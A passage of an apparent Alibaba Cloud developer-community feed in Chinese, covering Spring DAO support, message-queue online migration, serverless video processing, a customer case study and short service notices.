    3. 支持PHP:目前开源的APM工具对PHP支持的都不够完善,无论在无侵入接入方面,还是支持的组件方面,面对PHP语言构建的系统,都不能很好的支撑形成监控链路闭环。ARMS在对PHP语言系统的监控方面已经沉淀多年,绝大多数PHP的框架和组件都已支持,有很完善的问题分析定位的链路闭环和最佳实践。

    ]]>
    Spring 5 中文解析数据存储篇-DAO支持-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 Spring核心篇章:

    Spring 5 中文解析之核心篇-IoC容器

    Spring 5 中文解析核心篇-IoC容器之依赖关系

    Spring 5 中文解析核心篇-IoC容器之Bean作用域

    Spring 5 中文解析核心篇-IoC容器之自定义Bean性质

    Spring 5 中文解析核心篇-IoC容器之BeanDefinition继承与容器拓展点

    Spring 5 中文解析核心篇-IoC容器之基于注解的容器配置

    Spring 5 中文解析核心篇-IoC容器之类路径扫描和组件管理

    Spring 5 中文解析核心篇-IoC容器之JSR330标准注解

    Spring 5 中文解析核心篇-IoC容器之基于Java容器配置

    Spring 5 中文解析核心篇-IoC容器之Environment抽象

    Spring 5 中文解析核心篇-IoC容器之ApplicationContext与BeanFactory

    Spring 5 中文解析核心篇-IoC容器之Resources

    Spring 5 中文解析核心篇-IoC容器之数据校验、数据绑定和类型转换

    Spring 5 中文解析核心篇-IoC容器之SpEL表达式

    Spring 5 中文解析核心篇-IoC容器之AOP编程(上)")

    Spring 5 中文解析核心篇-IoC容器之AOP编程(下)")

    Spring 5 中文解析核心篇-IoC容器之Spring AOP API

    Spring测试篇章:

    Spring 5 中文解析测试篇-Spring测试

    Spring 5 中文解析核心篇-集成测试之概要和集成测试注解

    Spring 5 中文解析核心篇-集成测试之TestContext(上)")

    Spring 5 中文解析核心篇-集成测试之TestContext(中)")

    Spring 5 中文解析测试篇-集成测试之TestContext(下)")

    Spring 5 中文解析测试篇-Spring MVC测试框架

    Spring 5 中文解析测试篇-WebTestClient

    Spring存储篇章:

    Spring 5 中文解析数据存储篇-Spring框架的事物支持模型的优势

    [Spring 5 中文解析数据存储篇-事务同步和声明式事物管理
    ](https://mp.weixin.qq.com/s?__biz=MzA3NDgzODYzNg==&tempkey=MTA3OV91TU8vcGlxSXdvTGNhZ2o0a3p2RXZvSGpJeXNCMmNCUkszbU9OZzVSc09rT19Zejl6b3JCWHZHU0JfN3ZrVDhhbzZUV3BfS2s3aHFEakhPb3V4dXVkMVp4ajFfZllOcnM2N3huU2d1ZUJZZlN6T1lZNVVKWHJjOWRkdEg3Uzg3RmpFRzZXbHMzQ3lFUUEwd1JqTl9JOGZzWGxMYWh6N1lhY05DYnFRfn4%3D&chksm=1f7b0caa280c85bcce8c4ffe9fb21629f683d5d9127116dae91dc9b9cbd2f367a19514fef76f#rd)

    [Spring 5 中文解析数据存储篇-@Transactional使用
    ](https://mp.weixin.qq.com/s?__biz=MzA3NDgzODYzNg==&tempkey=MTA3OV9RNU1VNnhsa0ZkRlhBb3Fla3p2RXZvSGpJeXNCMmNCUkszbU9OZzVSc09rT19Zejl6b3JCWHZHU0JfNTZ4dWhENjFrNUV6dlpieWYxVndQRlBNNkFRZVBFWlVyZHdiQlhTMmZMM0g0TnppT040Nk5QUU1rcEpNY2FDN09nZnNPeG5WTU8wajZCNUowaHZnTHhZcGpYdVRlNXQzWTZUSV8yOEpJNl9nfn4%3D&chksm=1f7b0cb3280c85a5682b1c9ea3cf7d2a69abdd6fe9147ed4335a5d5cfbef7c04ed314bd389de#rd)

    Spring 5 中文解析数据存储篇-编程式事物管理

    完整电子书地址

    Spring对数据访问对象(DAO)的支持旨在使以一致的方式轻松使用数据访问技术(例如JDBCHibernateJPA)。这使你可以轻松地在上述持久性技术之间进行切换,并且还使你无需担心捕获每种技术特有的异常即可进行编码。

    2.1 一致的异常层次结构

    Spring提供了从特定于技术的异常(例如SQLException)到其自己的异常类层次结构的便捷转换,该异常类层次结构以DataAccessException作为根异常。这些异常包装了原始异常,因此你永远不会丢失任何有关可能出错的信息。

    除了JDBC异常,Spring还可以包装JPAHibernate特定的异常,将它们转换为一组集中的运行时异常。这样,你就可以仅在适当的层中处理大多数不可恢复的持久性异常,而不必在DAO中使用烦人的样板捕获和抛出块以及异常声明。(尽管如此,你仍然可以在任何需要的地方捕获和处理异常。)如上所述,JDBC异常(包括特定于数据库的方言)也被转换为相同的层次结构,这意味着你可以在一致的编程模型中使用JDBC执行某些操作。

    在Spring对各种ORM框架的支持中,上述讨论对于各种模板类均适用。如果使用基于拦截器的类,应用程序必须关心处理HibernateExceptionsPersistenceExceptions本身,最好是通过分别委托给SessionFactoryUtilsconvertHibernateAccessException(..)convertJpaAccessException()方法。这些方法将异常转换为与org.springframework.dao异常层次结构中的异常兼容的异常。由于未选中PersistenceException,因此它们也可能被抛出(不过,在异常方面牺牲了通用的DAO抽象)。

    下图显示了Spring提供的异常层次结构。(请注意,图像中详细说明的类层次结构仅显示整个DataAccessException层次结构的子集。)

    DataAccessException

    2.2 用于配置DAO或存储类的注解

    确保你的数据访问对象(DAO)或存储库提供异常转换的最佳方法是使用@Repository注解。此注解还使组件扫描支持可以查找和配置DAO和存储库,而不必为其提供XML配置。以下示例显示了如何使用@Repository注解:

    @Repository //1
    public class SomeMovieFinder implements MovieFinder {
        // ...
    }
    1. @Repository注解

    任何DAO或存储库实现都需要访问持久性资源,具体取决于所使用的持久性技术。例如,基于JDBC的存储库需要访问JDBC数据源,而基于JPA的存储库需要访问EntityManager。完成此操作的最简单方法是使用@Autowired@Inject@Resource@PersistenceContext注解之一注入此资源依赖项。以下示例适用于JPA存储库:

    @Repository
    public class JpaMovieFinder implements MovieFinder {
    
        @PersistenceContext
        private EntityManager entityManager;
    
        // ...
    }

    如果使用经典的Hibernate API,则可以注入SessionFactory,如以下示例所示:

    @Repository
    public class HibernateMovieFinder implements MovieFinder {
    
        private SessionFactory sessionFactory;
    
        @Autowired
        public void setSessionFactory(SessionFactory sessionFactory) {
            this.sessionFactory = sessionFactory;
        }
    
        // ...
    }

    我们在此显示的最后一个示例是对典型JDBC支持的。你可以将DataSource注入初始化方法或构造函数中,在此方法中,你可以使用此DataSource创建JdbcTemplate和其他数据访问支持类(例如SimpleJdbcCall等)。以下示例自动装配数据源:

    @Repository
    public class JdbcMovieFinder implements MovieFinder {
    
        private JdbcTemplate jdbcTemplate;
    
        @Autowired
        public void init(DataSource dataSource) {
            this.jdbcTemplate = new JdbcTemplate(dataSource);
        }
    
        // ...
    }

    有关如何配置应用程序上下文以利用这些注解的详细信息,请参见每种持久性技术的特定介绍。

    作者

    个人从事金融行业,就职过易极付、思建科技、某网约车平台等重庆一流技术团队,目前就职于某银行负责统一支付系统建设。自身对金融行业有强烈的爱好。同时也实践大数据、数据存储、自动化集成和部署、分布式微服务、响应式编程、人工智能等领域。同时也热衷于技术分享创立公众号和博客站点对知识体系进行分享。关注公众号:青年IT男 获取最新技术文章推送!

    博客地址: http://youngitman.tech

    CSDN: https://blog.csdn.net/liyong1028826685

    微信公众号:

    技术交流群:

    ]]>
    【其他】9月21日阿里云域名交易平台未实名认证.cc/.tv域名下架通知 Fri, 02 May 2025 09:39:03 +0800

    【阿里云】【域名】【域名交易平台】【未实名.cc/.tv域名下架】

    维护时间:北京时间2020年9月21日 00:00

    维护内容:未完成实名认证的.cc/.tv域名将被系统下架一口价(万网)、域名竞价等出售信息。

    维护影响:自北京时间2020年8月10日 10:00起,.cc/.tv域名的注册、转入、持有者信息修改(过户)等操作将要求进行域名实名认证(包括命名审核和实名资料审核)。

    阿里云域名交易平台出售中的.cc/.tv域名若未完成实名认证,一口价(万网)、域名竞价等类型将无法被正常下单购买。请尽快完成.cc/.tv域名实名认证!

    出售中的.cc/.tv域名,若未能在9月21日00:00前完成域名实名认证,相关出售信息将被系统自动下架,您须待域名实名认证完成后,重新操作域名上架。

    由此给您带来的不便,我们表示歉意,敬请谅解。

    ]]>
    关于2020国庆假期的安排-米姆-阿里云服务 Fri, 02 May 2025 09:39:03 +0800        根据国务院办公厅关于2020年部分节假日安排的通知,10月1日至8日国庆节,中秋节放假调休,共8天。9月27日(星期日)、10月10日(星期六)上班


           在此节假日期间亲爱的各位老铁,我们依然为您安排了值班工作人员哦!

           阿里云售前、售后:尹先生-13246463538

           阿里云技术支持:陈先生-14737363737

           其他服务需求与咨询:高先生-15869041323


         我们友好的小伙伴会一直陪在您身边,有问题速速联系我们吧!也可以移步至官网智慧表单提交您的需求或问题哦,我们会在第一时间处理。


         感谢大家在2020年对我们的支持,因为你们的信任,我们才能在激烈的市场竞争中不断进步与发展。未来我们不负年华,提升服务质量与体验。也祝您节日快乐。


                                                                                                             广州米姆信息科技有限公司

                                                                                                              2020年9月

    ]]>
    阿里云SAE支持「禾连健康」低门槛微服务化,弹性降本20%以上 Fri, 02 May 2025 09:39:03 +0800 166.jpg

    作者:黛忻

    浙江禾连网络科技有限公司(简称:禾连健康)成立于2014年,多年来专注医疗互联网产业,致力于通过互联网技术,建立服务患者、医生、医院的大平台。

    业务范围从医院Wi-Fi、患者端App、医护端App,拓展到提供一站式医院物联网应用解决方案。目前医院Wi-Fi已签约全网245个城市1700多家医院,成为中国最大的医院Wi-Fi服务商。禾健康、禾连保、禾医助几个App提供一站式家庭健康管理服务,服务1亿用户。

    客户需求:

    禾连是聚石塔的最早一批用户,采用ECS + Docker模式部署应用。因聚石塔定位的变化,没有持续维护相关业务;再加上禾连业务的不断发展,而聚石塔在弹性、服务治理上的能力不满足预期,禾连不得不考虑重新做技术选型。

    在架构优化初期,公司基于ECS自建整套微服务架构,过程中暴露了很多问题:

    (1)产品迭代跟不上业务变化:传统开发模式无法支撑公司业务的快速发展,研发既要忙于业务,又要Cover底层组件开发和运维,效率非常低;

    (2)硬件闲置成本高:云上按业务峰值保有大量的包年ECS,逐台购买安骑士服务。但业务具有潮汐特性,峰谷时闲置浪费高。而且业务瞬息万变,一旦发展不符合预期,购买的ECS会长期处于闲置状态。

    (3)系统维护成本高,无运维人员:公司无专职运维人员,系统相对复杂,微服务架构 + APM工具等均采用开源自研,开发&维护成本高。聚石塔上ECS + Docker高密部署的降本方案,集群初始化非常繁琐且耗时较长,需给每台ECS安装探针,运行一系列初始化脚本。研发精力严重分散,疲于奔命。

    (4)效率&稳定性:系统的扩缩容困难,流量高峰时效率得不到保证。且服务发布和重启的时候偶尔会影响线上业务稳定。

    使用Serverless技术构建新型互联网医疗应用

    基于Serverless应用引擎(SAE),提供了一个零改造、开箱即用的Serverless PaaS,最大程度帮助用户屏蔽底层IaaS、K8s运维、以及常用微服务组件的学习成本,解决了禾连长期以来运维成本高、开发迭代和弹性效率低,硬件闲置成本高等痛点问题。

    image.png

    降成本:节省自建微服务架构+APM的ECS成本,无需购买ECS安全骑士服务;基于秒级弹性能力,按需自动弹、同时通过一键启停开发测试环境,极大的提升了资源利用率,比ECS方案节省20%以上的硬件成本。

    提效率:提供了开箱即用的微服务治理、应用监控的能力,零运维零改造直接使用,支撑新业务快速上线;提升定位诊断效率,让企业专注于业务本身。

    极致弹性,发布无感知:基于SAE 的定时弹性和监控指标弹性(CPU、Memory等),无须容量规划,秒级弹性,便可轻松应对流量暴增,保障SLA。通过配置健康检查探针,系统自动检测,做到服务发布和扩缩容时业务无感知。

    一站式体验:自动集成阿里云基础设施类产品:SLB、SLS、NAS等和微服务生态产品:ACM、ARMS、AHAS,对接DevOps产品云效,提供一站式的上云体验。

    ]]>
    消息队列在线迁移实战 | 最佳实践 Fri, 02 May 2025 09:39:03 +0800 前言

    消息队列(Message Queue,下文简称MQ)是分布式互联网架构中必不可少的核心组件,包括RocketMQ、Kafka、RabbitMQ等在业界广泛使用的产品,在消息分发、异步解耦、削峰填谷、广播通知等领域发挥着巨大的作用。

    在MQ的使用过程中,在线对MQ组件进行迁移是一个非常普遍的需求,在如下的几个场景中,都会涉及到MQ的在线迁移:

    (1)规格升级。比如将3 Broker的Kafka集群替换成6 Broker的Kafka集群。

    (2)更换另一种MQ产品。比如将RabbitMQ替换为性能和扩展性更强的RocketMQ。

    (3)使用云服务替换自建MQ集群。比如将自建的RocketMQ集群替换为云上商业版RocketMQ服务。

    在MQ迁移的过程中,存在3个非常重要的需求:

    • 操作简单。
    • 风险可控。
    • 不影响业务系统的正常运行。

    如何让MQ的在线迁移同时满足这3个重要的需求呢?本文将对几种可行的方式进行深入探讨。

    理论基础

    在涉及到MQ在线迁移的所有方案中,都存有一个很重要的原则:对于发往MQ的每一条消息,如果已经被它的消费者成功接收并得到处理,这条消息就不再具有业务含义。已经被成功接收并得到处理的消息,只体现出统计方面的价值,并不需要随着MQ本身的迁移而进行数据迁移。

    在数据库迁移的场景中,新旧DB之间的数据迁移是非常重要的工作,这是因为DB中的数据是持久化的数据,需要伴随着数据库的生命周期而长期存在。

    而对于MQ而言,消息一旦被消息者接收并得到处理,就不再是持久化的数据,可以直接删除或归档。因此在MQ在线迁移的场景中,对已经处理过的消息,是没有数据迁移必要的。这样就将问题简化为:如何在迁移的过程中确保每一条消息被成功接收并得到处理。

    在系统维护期停业务迁移

    我们先从一个最简单方案开始体验MQ在线迁移是如何进行的。对于不要求7*24小时连续运行的业务系统,可以利用系统维护期的时间窗口,通过停业务的方式来实现消息队列的迁移。这种迁移方式因为不需要保证业务的连续性,操作起来就非常简单。

    (1)初始状态

    image.png

    进入维护窗口期后,关闭生产者应用,这个时候不会再有的新的消息写入MQ:

    image.png

    在这个状态下保持一段时间,当MQ上的所有消息都被消费者接收并成功处理后,就可以对消费者进行版本发布,使其从新的MQ上接收消息:

    image.png

    接下来再启动生产者,使其指向新的MQ,整个操作就已经完成。当系统运行稳定后,可以对原MQ实例进行相关数据归档后直接下线:

    image.png

    在停业务迁移方案中,最关键一步,在于如何在系统维护窗口期之内,确保原MQ上的所有消息被消费者接收并成功处理。因为生产者关闭之后,不会有新的消息写入原MQ,只要预留足够长的时间,原MQ上堆积的消息一定会被消费者取走。在这个方案中,新MQ和原MQ也可以是不同的产品,比如从RabbitMQ迁移到RocketMQ也是可以支持的,因为生产者和消费者都经过了版本发布的动作,只需要在新版本中对API和收发逻辑进行修改就可以实现。

    双订阅方案

    在互联网领域,能够容忍维护期将业务暂停的系统越来越少了,7*24不间断服务是行业的趋势,上述的停业务迁移方案就不再适用了,如何在MQ迁移的过程中确保业务持续运行呢?

    有一个非常棒的idea是让消费者同时具有从原MQ和新MQ接收消息的能力,这样不管生产方往哪一个MQ发送消息,都能够确保消息得到及时的处理。这是一种不需要暂停业务的方案,我们来看一下具体的步骤。

    首先对消费者进行改造,使其同时连上新老两个MQ,具备同时从新老MQ接收消息的能力,这就是所谓的“双订阅”:

    image.png

    接下来对生产者进行发布,使其往新MQ发送消息,等原MQ上堆积的所有消息被消费者接收并成功处理后,就可以对原MQ下线:

    image.png

    在对原MQ下线的时候,因为消费者还保持着双订阅的状态,所以最好先切断消费者与原MQ的连接,再关闭原MQ,否则会造成一些异常(取决于SDK的实现)。如果消费者的订阅逻辑实现的足够优雅,可以在不重启消费者的情况下,通过一个指令在线切断消费者与原MQ的连接。

    这个方案看似可以用一种对业务无损的方式在线迁移MQ,在实际操作中可行性却很低,其根本原因在于:同时从两个MQ接收消息的改造工作量极大。一般情况下,每一个消费者都在引入MQ产品对应的SDK,并通过MQ提供接入点与MQ建立连接后,接下来就只需要围绕业务逻辑完成所需要的消息订阅操作。这个时候要想同时从一个新的MQ接入消息,需要在代码层面对所有的订阅逻辑进行改造,这是一项非常复杂的工作。

    在新MQ和原MQ是不同消息队列产品的情况下,消费者需要同时引入两套不同的SDK,改造难度会变得更大。基于双订阅方案完成MQ的迁移后,还需要考虑将来清理掉消费者从原MQ接收处理消息的遗留代码,这也是需要一定工作量的。

    如果在MQ和消费者中间,能有一个中间件来实现双订阅的逻辑,是不是消费者的代码就不需要改造呢?答案是肯定的。但引入这样的中间件本身就是一项非常有挑战的工作,还增加了整个系统的复杂度,如果仅仅是为了MQ的在线迁移而引入一个新的组件,是得不偿失的。

    基于工作量和风险的考虑,尽量不要使用双订阅方案。

    最优方案

    双订阅的本质,在于存在一个消费者可以同时接收新旧两个MQ消息的中间状态,在这个状态下,不管生产者往哪个MQ发送消息,消息都可以得到及时的处理。能不能有一种更简单的方式让消费者可以同时接收新旧两个MQ的消息呢?当然有,而且实现方式更加的简单。

    在一个可靠的分布式微服务系统中,应用都可以通过增加节点的方式而进行水平扩容,为了确保整套系统的高可用性,每一个应用都不应该长期处于单实例运行状态,而是通过多个无状态的应用实例组成一个应用集群。因此,在真实环境下,不管是消息的生产者还是消费者,都至少有2个实例在运行。在迁移MQ的过程中,“消费者可以同时接收新旧两个MQ的消息”的中间状态,并不一定要让消费者的每一个实例都通过双订阅来实现,其实只要让一部分实例从原MQ接收消息,另一部分实例从新MQ接收消息就能满足了。通过这样的思路,能极大程度上简化MQ迁移的工作量,而且在迁移的过程中确保业务不受任何影响。

    在迁移之前,需要先把元数据信息从原MQ复制到新MQ集群,不同的消息队列产品之前元数据的格式不一样,需要根据业务场景进行元数据的转换,元数据包括Topic、Queue、消费组、基础配置等信息。

    image.png

    首先,通过灰度发布机制,让一部分消费实例连上新的MQ。如果之前的消费者是单实例,这个时候也可以增加一个新的消费实例来完成这个步骤:

    image.png

    接下来,让生产者往新的MQ发送消息,这个操作并不一定需要采取一刀切的方式,也可以通过灰度发布的方式让消息的转向逐步转移到新的MQ上来。最终,原MQ将不再接收新的消息,它上面堆积的消息总将会被成功接收处理,这个时候可以继续通过灰度发布的方式解除消费者与原MQ的连接,连接全部解除完之后,原MQ就可以关闭了。

    image.png

    在这个方案中,对于单个的生产者和消费者,都不存在同时连接新旧两个MQ的情况,因此在改造工作量非常小。而且迁移的过程通过灰度的方式实现,既不会影响业务,又可以进一步的降低风险,是消息队列在线迁移的通用方案。

    常见问题

    问: 为什么不在新旧MQ之间进行消息数据的同步?

    答:对于MQ而言,消息一旦被消息者接收并得到处理,就不再是持久化的数据,可以直接删除或归档。在迁移的过程中,新旧MQ之间消息数据同步是没有必要的,反而会增加迁移的难度,并导致消息被重复接收。

    问:迁移过程中需要验证消息幂等性吗?

    答: RocketMQ、Kafka等大多数消息队列产品都没有从消息队列服务端本身确保消息只投递一次,需要消费者自行实现对幂等性的保证。因此,不管在消息队列的迁移过程中,还是正常使用中,都应该借助数据库、Redis等外部系统确保消息的幂等性,否则会造成业务逻辑重复处理。

    ]]>
    构建在线教育弹性高可用视频处理架构实战 Fri, 02 May 2025 09:39:03 +0800 前言

    近些年,在线教育行业飞速发展,为整个社会的知识传播提供了前所未有的便利性。通过多种形式的在线教育平台,学员与教师即使相隔万里也可以开展教学活动。借助丰富的网络课件,学员还可以随时随地的进行学习,真正打破了时间和空间的限制。在各种形式的网络课件中,视频课件自然是最直观表现力最丰富的形式,因此视频课件的市场占有率也在逐年提升。

    视频处理需求分析

    对于在线教育领域的视频课件出品方而言,每天都要对大量视频内容进行处理,下图展示了一个比较典型的场景:

    image.png

    (1)用户上传一个视频到平台后,会先在对象存储中对视频源文件进行暂存。

    (2)平台对视频进行预处理,并打上水印。

    (3)平台将视频文件转换为其他格式,并对分辨率进行调整,以适配各种不同的终端设备的要求。

    (4)将处理好的视频文件保存回对象存储,并同步到CDN进行加速。

    虽然从流程上来讲,这个场景比较简单,但在技术上的挑战其实是非常大的。视频课件的原作者来自于在线教育平台的广大用户,可能是平台负责内容输出的内部用户,也有可能是签约的教师,或者是平台认证过的分享型用户。用户上传视频的操作并没有固定的频率,往往集中在几个时间段,存在明显的波峰波谷。在业务高峰期,视频处理的需求量非常大,有的在线教育企业每天要完成数万个视频的转码工作。对于负责建设视频处理系统的技术团队而言,这样的业务场景就留给了他们一系列的挑战:

    (1)如何确保这套系统在业务高峰期的高可用性?

    (2)如何让每一个上传的视频尽可能快的处理完?

    (3)如何尽可能的降低资源成本?

    (4)如何高效率的应对需求的频繁变更?

    基于这几个诉求,我们结合云计算的特点,来分析一下可行的解决方案。

    使用SaaS化的云服务完成视频处理

    随着各大云计算厂商产品线的不断丰富,我们可以很轻松的寻找到开箱即用的方案来解决这类典型的视频处理需求。以阿里云为例,视频点播类产品提供了视频采集、编辑、上传、媒体资源管理、转码处理、视频审核分析、分发加速于一体的一站式解决方案。

    877.jpg

    对于技术团队而言,采用这样的方案不用预先准备任何计算资源,甚至不用编写任何代码,就能够从无到有拥有一整套视频处理系统,完全不用考虑资源规划的问题。这样的方案非常适合在业务发展初级需要让系统快速上线的场景。

    但随着业务的不断发展,开箱即用的SaaS化方案还是存在不少的局限性,基于如下的原因,大多数的技术团队还是会选择自己建设视频处理系统:

    (1)对于之前已经通过FFmpeg技术实现的视频处理服务,因为涉及到复杂的业务逻辑,很难直接迁移到SaaS化方案上来。

    (2)高阶的视频处理需求必须使用代码来实现:比如音频降噪、插入动态Gif水印、按固定频率截帧等等。

    (3)使用高分辨率的大视频是行业趋势,对于超大视频的处理,比如10G以上的1080P视频,往往需要通过自定义的手段进行计算优化,才能保证处理的及时性。

    (4)在很多种场景下,自建视频处理系统都会带来明显的成本优势。

    (5)频繁的业务需求变更需要对整套系统进行更精细粒度的迭代管理,比如采用金丝雀策略降低新版本发布所带来的风险。

    那么如何建设一套同时具备高性能、高可用性、高灵活性、低成本特点的视频处理系统呢?

    基于分布式集群

    最典型的方案是申请一组云虚拟机,在每台虚拟机上部署视频处理应用,组建成一个可以水平伸缩的服务集服。当有新的上频上传的时候,可以触发一个处理任务,并通过负载均衡或消息队列对任务进行分发,接到任务的应用节点负责完成对应的任务。

    image.png

    通过这个架构,在业务高峰期,用户上传视频行为比较密集,可以增加服务集群的实例数量,来提升处理能力。在业务低峰期,可以减少服务集群的实例数量,来减少资源成本。

    此方案可以通过定制化的代码逻辑实现各种高阶的视频处理需求,灵活度非常高,配合可以水平伸缩的计算集群以及负载均衡机制,能同时满足性能和成本方面的需求,是一套被广泛采纳的方案。但在生产环境大规模运行的情况下,这套方案还是会暴露出很多问题:

    (1)维护工作量大。

    整套系统的维护工作量涵盖了虚拟机、网络、负载均衡组件、操作系统、应用等多个层面,需要投入大量的时间和精力来保障系统的高可用性与稳定性。举一个最简单的例子,当某个应用实例出现故障的时候,如何第一时间定位故障并尽可能迅速的将其从计算集群中摘除,摘除之后又如何保证之前没有完成的任务能够重新得到处理呢?这些都需要再配合完整的监控机制、故障隔离恢复机制来实现,甚至涉及到代码层的业务逻辑优化。

    (2)弹性伸缩能力滞后。

    有两种方式实现计算集群的弹性伸缩:通过定时任务触发,或者通过指标阈值(CPU利用率,内存使用率等)触发。不管采用哪种方式,都没有办法基于用户行为精细化管理,在遇到任务密度大幅度起伏的时候,会面临弹性伸缩能力滞后的问题。当来自用户的视频上传请求突增的时候,新增一个应用实例需要经过申请云资源>初始化>部署应用镜像>应用启动>加入负载均衡列表等多个阶段,即便通过Kubernetes+预留资源池等技术优化,也往往需要10分钟以上。

    (3)资源利用率低。

    滞后的弹性伸缩能力会导致伸缩策略制定的相对保守,造成计算资源的大量浪费,增加了使用成本,如下图所示:

    image.png

    有没有一种方案能能帮助技术团队专注于业务逻辑的实现,并可以根据用户的实际上传请求进行精细化的资源分配,实现资源利用最大化呢?随着云计算的飞速发展,各大云厂商都在积极探索新的方案,用更加“云原生”的方式来解决成本和效率的问题,阿里云提供的函数计算 + Serverless工作流就是这个领域非常具有代表性的方案。

    函数计算

    阿里云函数计算是事件驱动的全托管计算服务。通过函数计算,开发者无需管理服务器等基础设施,只需编写代码并上传。函数计算会为自动准备好计算资源,以弹性、可靠的方式运行代码,并提供日志查询、性能监控、报警等功能,确保系统的稳定运行。

    相比传统的应用服务器保持运行状态并对外提供服务的方式,函数计算最大的区别是按需拉起计算资源对任务进行处理,在任务完成以后自动的回收计算资源,这是一种真正符合Serverless理念的方案,能最大化的提升资源利用率,减少系统系统维护工作量和使用成本。因为不需要预先申请计算资源,使用者完全不需要考虑容量评估和弹性伸缩的问题,只需要根据资源的实际使用量来进行付费。

    下图展示了函数计算的工作方式:

    image.png

    对于使用者而言,把实现关键业务逻辑的代码上传到函数计算平台,就能以事件驱动的方式触发函数执行。函数计算已经支持各种主流的编程语言,对于即有的代码,可以通过几个非常简单的步骤部署到函数计算。函数支持的所有开发语言请参考开发语言列表。

    每一次计算资源的分配,都基于事件的触发,一个事件往往对应着业务上的一个任务。函数计算支持多种多样的触发器,比如HTTP触发器的事件源就是HTTP请求,函数计算接收到一次HTTP请求后,会按照预设的规格,分配相应的计算资源来处理这个HTTP请求,请求处理完成之后,函数计算会根据用户的设置决定是否立即回收这一次拉起的计算资源。而OSS触发器,能够监控发生在对象存储OSS上的各种事件,当有用户上传新文件或者对文件进行修改的时候,自动触发函数执行,这种方式就刚好适合视频处理的业务场景。更多支持的函数触发器请参考触发器列表。

    在计算资源的调度上,函数计算进行了大量优化,面对用户请求的突增,可以在毫秒级拉起大量的计算资源来并行工作,确保用户体验。

    通过函数计算进行视频处理

    基于函数计算的特性,搭建一套视频处理系统就非常简单,只需要配置一个OSS触发器,并将视频处理的核心代码上传到函数计算,就大功告成:

    image.png

    通过这套方案,使用者不再需要考虑资源管理、负载均衡、系统高可用、弹性伸缩、系统监控等一系列复杂的问题,函数计算平台会按最优的方式根据用户的上传行为调度计算资源,低成本高效率的完成视频处理任务。具体的操作步骤和代码实现可以参考视频处理Python实现Demo,在这个Demo中,演示了如何基于函数计算将用户上传的视频统一转为640 * 480分辨率的mp4格式视频。

    代码开发

    每一个创建好的函数都会对应一个指定的入口,函数计算会从这个函数入口开始执行,类似于本地开发中的Main()函数。以Python语言为列,一个简单的入口函数如下:

    def handler(event, context):
        return 'hello world'

    当有事件触发的时候,就会从入口函数开始执行,其中event参数携带了事件源相关的信息,比如在视频处理场景中,event参数携带了上传到OSS的Bucket以及文件名等信息。而context参数携带了函数的运行信息,包括函数名、超时时间、访问凭证等。通过这些信息,就能让执行代码完成预定义的各种操作。

    函数计算支持各种主流的编程语言,在这个编程语言当中,Node.js和Python等脚本型语言含了丰富的类库,开发效率很高,而且运算实例启动的速度很快,能够支持对延迟特别敏感的任务,是函数计算最匹配的语言。Java和Go等语言不能像脚本型语言一样直接上传代码就能创建一个函数,需要预先进行编译,使用起来会稍微复杂一些,但配合函数计算提供的Funcraft等工具,也可以大幅度提升开发和部署的效率。不管使用哪种开发语言,都建议使用者下载官方提供的Funcraft工具,更轻松进行开发、构建、部署操作,请参考Funcraft。

    像Java这样的语言,在虚拟机启动的时候需要加载比较多的类库,不能够像实现运算实例毫秒级启动并进入执行状态,不能直接使用在一些对于延迟特别敏感的业务场景。但配合函数计算提供的预留实例以及单实例多并发新功能,能够消除冷启动对业务的影响,并降低等待下游服务响应的影响,让函数计算上运行的Java语言也能实现API网关等对延时要求特别高业务场景。请参考预留实例和单实例多并发。

    Serverless工作流

    通过前面介绍的方案,可以轻松完成对短视频的各种定制化处理。但每一个函数计算实例,在资源规格上和总运行时长都不是无限的,目前函数计算实例可以拥有3G的内存资源和10分钟的执行时间,这也就说明,当一个视频处理任务需要占用3G以上的系统内存,或者总执行时长超过10分钟的情况下,处理任务是会失败的。

    在5G时代,超大视频课件是非常普遍的需求,如何通过函数计算处理这样的大视频呢?这个时候就要出动另一个武器---Serverless工作流,来配合函数计算一起完成这个任务。

    Serverless 工作流是一个用来协调多个分布式任务执行的全托管云服务。您可以用顺序、选择、并行等方式来编排分布式任务,Serverless 工作流会按照设定好的步骤可靠地协调任务执行,跟踪每个步骤的状态转换,并在必要时执行用户定义的重试逻辑,以确保工作流顺利完成。Serverless 工作流通过提供日志记录和审计来监视工作流的执行,方便您轻松地诊断和调试应用。

    image.png

    您可以使用 Serverless 工作流编排一系列的函数资源,同时定义流程中每一步的输入和输出,使用内置控制步骤编排复杂逻辑、发起并行执行、管理超时或终止流程。另外通过控制台能够使用图形界面显示出执行任务状态和执行顺序,同时控制台会显示每个步骤的实时状态,并提供每次执行的详细历史记录。通过Serverless工作流 + 函数计算的组合,我们可以突破时间和空间的限制,对任意大小的视频文件进行复杂的处理。

    大视频处理

    简单来讲,处理一个大视频的基本思路是:

    (1)将视频先进行切片处理,把每一个分片的大小控制在合理的大小,以便单个函数计算实例可以对其进行快速处理。

    (2)拉起多个函数计算实例对每一个分片进行并行处理。

    (3)对处理结果进行合并。

    通过Serverless工作流 + 函数计算进行视频处理的流程如下:

    image.png

    通过Serverless工作流提供的可视界面,我们能在工作流执行的过程当中,方便的查看到每一个步骤运行的信息,并配合自定义的Dashboard实现对整套视频处理系统的全面监控:

    image.png

    方案对比22.png

    总结

    基于函数计算和Serverless工作流的弹性高可用视频处理架构,充分体现了云原生时代Serverless化思想,以事件驱动的形式触发函数执行,真实计算资源真正意义上的按需使用。

    对于使用而言,这套方案在保证业务灵活度的同时,可以显著降低维护成本与资源成本,并大幅度的缩短项目交付时间。

    在线教育领域对于视频处理的需求量非常大,而且对于处理速度、并发吞吐量、资源利用率等方面都有极高的要求,函数计算 + Serverless工作流方案组合帮助用户轻松建设弹性高可用的视频处理架构,是实现这些复杂需求的最优解。随着云原生的不断发展,Serverless相关技术还将深入更多的业务场景,有未来有无限可能!

    ]]>
    阿里云资深技术专家姬风:Serverless 引领云的下一个十年 Fri, 02 May 2025 09:39:03 +0800 十年前通过推出云服务器,云计算拿下了第一桶金。这种基于服务器的云服务,帮助客户节省了对 IDC 的机器采购和运维成本,同时也保持了传统服务器运维的习惯。但服务器里面运行的操作系统、应用软件,以及整个分布式架构的运维复杂度,依然没法得到彻底解决,企业为此也投入了大量成本。

    事实上,基于服务器的云服务并不是云时代的终态。

